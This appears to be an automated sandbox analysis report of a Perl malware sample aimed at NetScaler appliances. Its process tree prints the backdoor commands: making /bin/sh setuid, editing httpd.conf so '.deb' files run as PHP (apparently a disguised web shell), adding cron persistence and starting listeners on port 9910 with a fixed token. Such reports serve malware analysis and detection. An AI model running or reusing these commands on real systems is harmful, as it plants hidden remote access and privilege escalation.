Analysis

  • max time kernel
    2s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    03/10/2026, 17:31

General

  • Target
    12b15fe585a21d33eeb863fc5a246596225a77185a314d55de3c980bbe11e9c0.pl
  • Size 25KB
  • Sample261003-v3tvlsed95
  • SHA256 12b15fe585a21d33eeb863fc5a246596225a77185a314d55de3c980bbe11e9c0
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads CPU attributes 1 TTPs 3 IoCs
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 1 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/12b15fe585a21d33eeb863fc5a246596225a77185a314d55de3c980bbe11e9c0.pl
    /tmp/12b15fe585a21d33eeb863fc5a246596225a77185a314d55de3c980bbe11e9c0.pl
    1⤵
    • Writes file to tmp directory
    PID:643
    • /bin/mkdir
      mkdir -p /nsconfig/.slap /var/netscaler/logon/LogonPoint/custom
      2⤵
        PID:645
      • /bin/cat
        cat
        2⤵
          PID:649
        • /bin/cat
          cat
          2⤵
            PID:651
          • /bin/mkdir
            mkdir -p /var/tmp/.ux
            2⤵
              PID:654
            • /bin/cat
              cat
              2⤵
                PID:659
              • /bin/cat
                cat
                2⤵
                  PID:662
                • /bin/cat
                  cat
                  2⤵
                    PID:665
                  • /bin/chmod
                    chmod 700 /nsconfig/.slap /nsconfig/.slap/agent.pl /nsconfig/.slap/bridge.pl
                    2⤵
                      PID:667
                    • /bin/cat
                      cat
                      2⤵
                        PID:671
                      • /bin/chmod
                        chmod 644 /var/netscaler/logon/LogonPoint/custom/.slap.receiver
                        2⤵
                          PID:675
                        • /bin/cp
                          cp /var/netscaler/logon/LogonPoint/custom/.slap.receiver /var/netscaler/logon/LogonPoint/custom/.ctxs.receiver
                          2⤵
                          • Reads runtime system information
                          PID:676
                        • /bin/cp
                          cp /var/netscaler/logon/LogonPoint/custom/.slap.receiver /var/netscaler/logon/LogonPoint/custom/receiver.deb
                          2⤵
                            PID:678
                          • /bin/cp
                            cp /var/netscaler/logon/LogonPoint/custom/.slap.receiver /nsconfig/.slap/.slap.receiver
                            2⤵
                              PID:680
                            • /bin/cp
                              cp /var/netscaler/logon/LogonPoint/custom/.slap.receiver /nsconfig/.slap/.ctxs.receiver
                              2⤵
                                PID:682
                              • /bin/cp
                                cp /var/netscaler/logon/LogonPoint/custom/.slap.receiver /nsconfig/.slap/receiver.deb
                                2⤵
                                  PID:685
                                • /bin/chmod
                                  chmod 644 /var/netscaler/logon/LogonPoint/custom/.ctxs.receiver /var/netscaler/logon/LogonPoint/custom/receiver.deb /nsconfig/.slap/.slap.receiver /nsconfig/.slap/.ctxs.receiver /nsconfig/.slap/receiver.deb
                                  2⤵
                                    PID:686
                                  • /bin/chmod
                                    chmod 6555 /bin/sh
                                    2⤵
                                      PID:688
                                    • /bin/chmod
                                      chmod 700 /nsconfig/.slap/boot.sh
                                      2⤵
                                        PID:689
                                      • /usr/bin/perl
                                        perl -ni -e "print unless m{AliasMatch\\s+\\*/logon/LogonPoint/custom/receiver}" /etc/httpd.conf
                                        2⤵
                                          PID:690
                                        • /bin/grep
                                          grep -q "Alias /logon/LogonPoint/custom/receiver.v2.min.css" /etc/httpd.conf
                                          2⤵
                                            PID:692
                                          • /bin/cp
                                            cp /etc/httpd.conf /etc/httpd.conf.slap.bak
                                            2⤵
                                              PID:693
                                            • /bin/cat
                                              cat
                                              2⤵
                                                PID:694
                                              • /usr/bin/perl
                                                perl -pi -e "s/php_flag engine off/php_flag engine on/" /etc/httpd.conf
                                                2⤵
                                                  PID:695
                                                • /bin/grep
                                                  grep -q "AddType application/x-httpd-php .deb" /etc/httpd.conf
                                                  2⤵
                                                    PID:696
                                                  • /bin/httpd
                                                    /bin/httpd -t -f /etc/httpd.conf
                                                    2⤵
                                                      PID:697
                                                    • /bin/grep
                                                      grep -q "[.]slap/agent.pl"
                                                      2⤵
                                                        PID:699
                                                      • /bin/ps
                                                        ps -axww
                                                        2⤵
                                                        • Reads CPU attributes
                                                        • Reads runtime system information
                                                        PID:698
                                                      • /bin/grep
                                                        grep -q /nsconfig/.slap/agent.pl /nsconfig/rc.netscaler
                                                        2⤵
                                                          PID:701
                                                        • /usr/bin/setsid
                                                          /usr/bin/setsid /bin/perl /nsconfig/.slap/agent.pl
                                                          2⤵
                                                            PID:700
                                                          • /bin/perl
                                                            /bin/perl /nsconfig/.slap/agent.pl
                                                            2⤵
                                                              PID:700
                                                            • /bin/grep
                                                              grep -q /nsconfig/.slap/boot.sh /nsconfig/rc.netscaler
                                                              2⤵
                                                                PID:702
                                                              • /usr/bin/crontab
                                                                crontab -l
                                                                2⤵
                                                                  PID:703
                                                                • /bin/grep
                                                                  grep -q /nsconfig/.slap/agent.pl /tmp/.slap.cron
                                                                  2⤵
                                                                    PID:704
                                                                  • /bin/grep
                                                                    grep -q /nsconfig/.slap/boot.sh /tmp/.slap.cron
                                                                    2⤵
                                                                      PID:705
                                                                    • /usr/bin/crontab
                                                                      crontab /tmp/.slap.cron
                                                                      2⤵
                                                                      • Creates/modifies Cron job
                                                                      PID:706
                                                                    • /usr/bin/pkill
                                                                      pkill -f /var/tmp/.ux/slapshot.py
                                                                      2⤵
                                                                      • Reads CPU attributes
                                                                      • Reads runtime system information
                                                                      PID:708
                                                                    • /usr/bin/pkill
                                                                      pkill -f /var/tmp/.ux/whipd.py
                                                                      2⤵
                                                                      • Reads CPU attributes
                                                                      • Reads runtime system information
                                                                      • System Network Configuration Discovery
                                                                      PID:709
                                                                    • /bin/date
                                                                      date -u
                                                                      2⤵
                                                                        PID:712
                                                                      • /usr/bin/nohup
                                                                        nohup /usr/bin/python3 /var/tmp/.ux/slapshot.py --listen 127.0.0.1:9909 --pidfile /var/tmp/.ux/agent.pid
                                                                        2⤵
                                                                          PID:710
                                                                        • /usr/bin/nohup
                                                                          nohup /usr/bin/python3 /var/tmp/.ux/whipd.py --bind 0.0.0.0 --port 9910 --agent 127.0.0.1:9909 --token slap --pidfile /var/tmp/.ux/whip.pid
                                                                          2⤵
                                                                            PID:711

                                                                        Network

                                                                              MITRE ATT&CK Enterprise v16

                                                                              Replay Monitor

                                                                              Loading Replay Monitor...

                                                                              Downloads

                                                                              agent.pl

                                                                              • Path /nsconfig/.slap/agent.pl
                                                                              • Size 4KB
                                                                              • SHA256 94c5ccd3a35357b24fe9474abab665a2e6205a60d8c6a82e4016d3b94d3fb761
                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                              boot.sh

                                                                              • Path /nsconfig/.slap/boot.sh
                                                                              • Size 3KB
                                                                              • SHA256 af7a3af465c95e997e1476b0c2db852b26169d4a5647a445ff46a54a86a75cf8
                                                                              • MD5 SHA1 SHA512 TLSH

                                                                              bridge.pl

                                                                              • Path /nsconfig/.slap/bridge.pl
                                                                              • Size 697B
                                                                              • SHA256 f09c1bf2c6148e9e8f3a4be7b26b365fc5fdf95d768abf78a7ed770b9c5debad
                                                                              • MD5 SHA1 SHA512 TLSH

                                                                              rc.netscaler

                                                                              • Path /nsconfig/rc.netscaler
                                                                              • Size 37B
                                                                              • SHA256 370368e6491d9344962b6a58a771fb24e500f84e9d99379f61969e3068ed5b4b
                                                                              • MD5 SHA1 SHA512

                                                                              rc.netscaler

                                                                              • Path /nsconfig/rc.netscaler
                                                                              • Size 71B
                                                                              • SHA256 4c1a2751a1b474cc4873fd78d237d003a25dc45205b94577265443d65d2432d2
                                                                              • MD5 SHA1 SHA512 TLSH

                                                                              .slap.cron

                                                                              • Path /tmp/.slap.cron
                                                                              • Size 45B
                                                                              • SHA256 0759755783a468f3bc18dcbfde22fdb21bb754aee300137f26ee1aa1893dd3cd
                                                                              • MD5 SHA1 SHA512

                                                                              .slap.cron

                                                                              • Path /tmp/.slap.cron
                                                                              • Size 89B
                                                                              • SHA256 1a7762fb2dc20ab46e650818ba79e47c9758b02f2b0fcb12a7ed15cebc7e392f
                                                                              • MD5 SHA1 SHA512 TLSH

                                                                              .slap.receiver

                                                                              • Path /var/netscaler/logon/LogonPoint/custom/.slap.receiver
                                                                              • Size 493B
                                                                              • SHA256 9f792058552da5cbbb08693694d31a31d360be8402a3c9d41584d34e3b569be7
                                                                              • MD5 SHA1 SHA512 TLSH

                                                                              tmp.0VBlKw

                                                                              • Path /var/spool/cron/crontabs/tmp.0VBlKw
                                                                              • Size 278B
                                                                              • SHA256 4e47baa91c68edfee376ae0082018379628c602bea32c089e1eb8cee2e993124
                                                                              • MD5 SHA1 SHA512 TLSH

                                                                              .slap-agent.log

                                                                              • Path /var/tmp/.slap-agent.log
                                                                              • Size 63B
                                                                              • SHA256 6686e0f601f892bb8f8e47727170eb99045f66623834e5be2cb1984dfe7a88e1
                                                                              • MD5 SHA1 SHA512 TLSH

                                                                              .slap-diag.txt

                                                                              • Path /var/tmp/.slap-diag.txt
                                                                              • Size 54B
                                                                              • SHA256 a47ab7c9bdb86429a2f2f07ee4d1d13bf6921f10d01d288c965db3ce58d932a3
                                                                              • MD5 SHA1 SHA512 TLSH

                                                                              .slap-httpd-test.log

                                                                              • Path /var/tmp/.slap-httpd-test.log
                                                                              • Size 175B
                                                                              • SHA256 eb32def9ff849faab267a8917ad73df9e7f326b9fb2925095b6759310baf37fb
                                                                              • MD5 SHA1 SHA512 TLSH

                                                                              slapshot.py

                                                                              • Path /var/tmp/.ux/slapshot.py
                                                                              • Size 7KB
                                                                              • SHA256 be559fb34104b8ce491082276084e76736f5a5ec6b8d05fe31adc60ec063e447
                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                              whipd.py

                                                                              • Path /var/tmp/.ux/whipd.py
                                                                              • Size 4KB
                                                                              • SHA256 dc07e82e31f874c386e74bb5882c269a3d33a774a7b9772b11830bf6d33bfc7e
                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH